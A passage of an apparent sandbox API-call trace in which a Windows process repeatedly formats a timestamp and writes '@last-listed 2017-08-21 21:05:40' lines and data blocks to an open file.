(_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.451] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 49511 [0121.451] _write (in: _FileHandle=4, _Buf=0x3dabb88*, _MaxCharCount=0x189 | out: _Buf=0x3dabb88*) returned 393 [0121.451] gmtime (param_1=0x36f188) returned 0x841688 [0121.451] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.451] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.451] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.451] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.451] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.451] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 49937 [0121.451] _write (in: _FileHandle=4, _Buf=0x3dabd20*, _MaxCharCount=0x1a9 | out: _Buf=0x3dabd20*) returned 425 [0121.451] gmtime (param_1=0x36f188) returned 0x841688 [0121.451] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.451] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.451] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.452] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.452] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.452] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 50395 [0121.452] _write (in: _FileHandle=4, _Buf=0x3da9ed8*, _MaxCharCount=0x178 | out: _Buf=0x3da9ed8*) returned 376 [0121.452] gmtime (param_1=0x36f188) returned 0x841688 [0121.452] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.452] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.452] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.452] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.452] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.452] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 50804 [0121.452] _write (in: _FileHandle=4, _Buf=0x3dabed8*, _MaxCharCount=0x2cf | out: _Buf=0x3dabed8*) returned 719 [0121.452] gmtime (param_1=0x36f188) returned 0x841688 [0121.452] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.452] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.452] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.452] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.452] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.452] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 51556 [0121.452] _write (in: _FileHandle=4, _Buf=0x3daa060*, _MaxCharCount=0x178 | out: _Buf=0x3daa060*) returned 376 [0121.452] gmtime (param_1=0x36f188) returned 0x841688 [0121.452] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.452] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.452] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.452] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.452] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.452] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 51965 [0121.452] _write (in: _FileHandle=4, _Buf=0x3daa1e8*, _MaxCharCount=0x178 | out: _Buf=0x3daa1e8*) returned 376 [0121.452] gmtime (param_1=0x36f188) returned 0x841688 [0121.452] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.452] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.452] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.453] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.453] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.453] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 52374 [0121.453] _write (in: _FileHandle=4, _Buf=0x3daa370*, _MaxCharCount=0x178 | out: _Buf=0x3daa370*) returned 376 [0121.453] gmtime (param_1=0x36f188) returned 0x841688 [0121.453] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.453] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.453] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.453] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.453] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.453] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 52783 [0121.453] _write (in: _FileHandle=4, _Buf=0x3daa4f8*, _MaxCharCount=0x178 | out: _Buf=0x3daa4f8*) returned 376 [0121.453] gmtime (param_1=0x36f188) returned 0x841688 [0121.453] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.453] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.453] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.453] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.453] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.453] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 53192 [0121.453] _write (in: _FileHandle=4, _Buf=0x3daa680*, _MaxCharCount=0x178 | out: _Buf=0x3daa680*) returned 376 [0121.454] gmtime (param_1=0x36f188) returned 0x841688 [0121.454] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.454] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.454] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.454] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.454] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.454] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 53601 [0121.454] _write (in: _FileHandle=4, _Buf=0x3dac9b0*, _MaxCharCount=0x19f | out: _Buf=0x3dac9b0*) returned 415 [0121.454] gmtime (param_1=0x36f188) returned 0x841688 [0121.454] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.454] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.454] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.454] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.454] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.454] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 54049 [0121.454] _write (in: _FileHandle=4, _Buf=0x3daa808*, _MaxCharCount=0x178 | out: _Buf=0x3daa808*) returned 376 [0121.454] gmtime (param_1=0x36f188) returned 0x841688 [0121.454] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.454] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.454] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.454] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.454] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.454] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 54458 [0121.454] _write (in: _FileHandle=4, _Buf=0x3daa990*, _MaxCharCount=0x178 | out: _Buf=0x3daa990*) returned 376 [0121.454] gmtime (param_1=0x36f188) returned 0x841688 [0121.454] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.454] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.455] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.455] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.455] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.455] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 54867 [0121.455] _write (in: _FileHandle=4, _Buf=0x3dacb58*, _MaxCharCount=0x1a9 | out: _Buf=0x3dacb58*) returned 425 [0121.455] gmtime (param_1=0x36f188) returned 0x841688 [0121.455] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.455] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.455] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.455] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.455] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.455] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 55325 [0121.455] _write (in: _FileHandle=4, _Buf=0x3daab18*, _MaxCharCount=0x178 | out: _Buf=0x3daab18*) returned 376 [0121.455] gmtime (param_1=0x36f188) returned 0x841688 [0121.455] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.455] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.455] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.455] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.455] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.455] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 55734 [0121.455] _write (in: _FileHandle=4, _Buf=0x3dacd10*, _MaxCharCount=0x833 | out: _Buf=0x3dacd10*) returned 2099 [0121.455] gmtime (param_1=0x36f188) returned 0x841688 [0121.455] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.455] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.455] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.455] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.455] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.455] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 57866 [0121.456] _write (in: _FileHandle=4, _Buf=0x3d39b80*, _MaxCharCount=0x60b | out: _Buf=0x3d39b80*) returned 1547 [0121.456] gmtime (param_1=0x36f188) returned 0x841688 [0121.456] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.456] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.456] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.456] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.456] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.456] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 59446 [0121.456] _write (in: _FileHandle=4, _Buf=0x3d3aaa8*, _MaxCharCount=0x168 | out: _Buf=0x3d3aaa8*) returned 360 [0121.456] gmtime (param_1=0x36f188) returned 0x841688 [0121.456] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.456] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.456] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.456] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.456] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.456] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 59839 [0121.456] _write (in: _FileHandle=4, _Buf=0x3d3ac20*, _MaxCharCount=0x18b | out: _Buf=0x3d3ac20*) returned 395 [0121.456] gmtime (param_1=0x36f188) returned 0x841688 [0121.456] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.456] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.456] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.456] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.456] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.456] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 60267 [0121.456] _write (in: _FileHandle=4, _Buf=0x3daaca0*, _MaxCharCount=0x178 | out: _Buf=0x3daaca0*) returned 376 [0121.456] gmtime (param_1=0x36f188) returned 0x841688 [0121.456] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.456] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.456] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.456] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.456] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.457] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 60676 [0121.457] _write (in: _FileHandle=4, _Buf=0x3daae28*, _MaxCharCount=0x178 | out: _Buf=0x3daae28*) returned 376 [0121.457] gmtime (param_1=0x36f188) returned 0x841688 [0121.457] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.457] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.457] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.457] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.457] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.457] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 61085 [0121.457] _write (in: _FileHandle=4, _Buf=0x3daafb0*, _MaxCharCount=0x178 | out: _Buf=0x3daafb0*) returned 376 [0121.457] gmtime (param_1=0x36f188) returned 0x841688 [0121.457] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.457] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.457] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.457] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.457] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.457] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 61494 [0121.457] _write (in: _FileHandle=4, _Buf=0x3d3adb8*, _MaxCharCount=0x1a9 | out: _Buf=0x3d3adb8*) returned 425 [0121.457] gmtime (param_1=0x36f188) returned 0x841688 [0121.457] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.457] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.457] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.457] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.457] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.457] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 61952 [0121.457] _write (in: _FileHandle=4, _Buf=0x3d3af70*, _MaxCharCount=0x199 | out: _Buf=0x3d3af70*) returned 409 [0121.457] gmtime (param_1=0x36f188) returned 0x841688 [0121.457] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.457] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.457] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.457] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.458] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.458] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 62394 [0121.458] _write (in: _FileHandle=4, _Buf=0x3dab138*, _MaxCharCount=0x178 | out: _Buf=0x3dab138*) returned 376 [0121.458] gmtime (param_1=0x36f188) returned 0x841688 [0121.458] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.458] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.458] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.458] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.458] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.458] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 62803 [0121.458] _write (in: _FileHandle=4, _Buf=0x3d9f048*, _MaxCharCount=0x2a5 | out: _Buf=0x3d9f048*) returned 677 [0121.458] gmtime (param_1=0x36f188) returned 0x841688 [0121.458] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.458] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.458] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.458] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.458] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.458] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 63513 [0121.458] _write (in: _FileHandle=4, _Buf=0x3d9f2f8*, _MaxCharCount=0x4c1 | out: _Buf=0x3d9f2f8*) returned 1217 [0121.458] gmtime (param_1=0x36f188) returned 0x841688 [0121.458] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.458] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.458] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.458] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.458] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.458] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 64763 [0121.458] _write (in: _FileHandle=4, _Buf=0x3dab2c0*, _MaxCharCount=0x178 | out: _Buf=0x3dab2c0*) returned 376 [0121.458] gmtime (param_1=0x36f188) returned 0x841688 [0121.458] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.459] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.459] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.459] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.459] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.459] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 65172 [0121.459] _write (in: _FileHandle=4, _Buf=0x3d9f8e0*, _MaxCharCount=0x168 | out: _Buf=0x3d9f8e0*) returned 360 [0121.459] gmtime (param_1=0x36f188) returned 0x841688 [0121.459] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.459] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.459] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.459] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.459] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.459] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 65565 [0121.459] _write (in: _FileHandle=4, _Buf=0x3d9fa58*, _MaxCharCount=0x2f1 | out: _Buf=0x3d9fa58*) returned 753 [0121.459] gmtime (param_1=0x36f188) returned 0x841688 [0121.459] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.459] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.459] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.459] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.459] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.459] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 66351 [0121.459] _write (in: _FileHandle=4, _Buf=0x3d9fe70*, _MaxCharCount=0x168 | out: _Buf=0x3d9fe70*) returned 360 [0121.459] gmtime (param_1=0x36f188) returned 0x841688 [0121.459] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.459] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.459] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.459] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.459] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.459] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 66744 [0121.459] _write (in: _FileHandle=4, _Buf=0x3dab448*, _MaxCharCount=0x178 | out: _Buf=0x3dab448*) returned 376 [0121.459] gmtime (param_1=0x36f188) returned 0x841688 [0121.460] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.460] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.460] strlen (_Str="@last-listed 